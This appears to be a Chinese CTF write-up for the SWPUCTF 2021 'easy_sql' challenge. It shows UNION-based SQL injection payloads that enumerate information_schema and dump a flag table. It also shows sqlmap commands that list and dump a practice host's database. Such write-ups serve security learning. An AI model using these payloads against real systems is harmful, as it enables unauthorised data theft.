sql [SWPUCTF 2021 新生赛]easy_sql

打开题目,直接查看源代码给了提示注入点是wllm

然后得到了name和password

输入1' 报错,说明注入点是字符型注入

输到4的时候报错了

说明列名字段数为3

爆破数据显示位为2,3

我们直接爆破数据库名

我们知道数据库名为test_db

爆破表名

?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="test_db" --+

我们知道表名有test_tb和users

我们选择test_tb进行爆破

?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="test_tb" --+

看见有id和flag两个字段

我们直接爆破数据

?wllm=-1' union select 1,2,flag from test_tb --+

得到flag

同样这道题也可以用sqlmap跑一下看看

sqlmap -u "http://node4.anna.nssctf.cn:28057/?wllm=1'" --dbs

得到数据库名

sqlmap -u "http://node4.anna.nssctf.cn:28057/?wllm=1'" -D test_db --tables

得到所有表名

sqlmap -u "http://node4.anna.nssctf.cn:28057/?wllm=1'" -D test_db -T test_tb --columns

得到所有列名

sqlmap -u "http://node4.anna.nssctf.cn:28057/?wllm=1'" -D test_db -T test_tb -C flag --dump

得到flag

sqlmap的使用见:

sqlmap的安装与使用-CSDN博客

相关推荐
AAA修煤气灶刘哥10 小时前
数据库优化自救指南:从SQL祖传代码到分库分表的骚操作
数据库·后端·mysql
老纪的技术唠嗑局15 小时前
经验分享 —— 在 Ubuntu 虚拟机中部署 OceanBase 数据库
数据库·ubuntu
咖啡Beans15 小时前
MySQL中使用@符号定义用户变量
数据库·mysql
GreatSQL19 小时前
MySQL迁移至GreatSQL后,timestamp字段插入报错解析
数据库
expect7g20 小时前
COW、MOR、MOW
大数据·数据库·后端
DemonAvenger21 小时前
MySQL海量数据快速导入导出技巧:从实战到优化
数据库·mysql·性能优化
薛定谔的算法2 天前
phoneGPT:构建专业领域的检索增强型智能问答系统
前端·数据库·后端
Databend2 天前
Databend 亮相 RustChinaConf 2025,分享基于 Rust 构建商业化数仓平台的探索
数据库
得物技术2 天前
破解gh-ost变更导致MySQL表膨胀之谜|得物技术
数据库·后端·mysql
Raymond运维2 天前
MariaDB源码编译安装(二)
运维·数据库·mariadb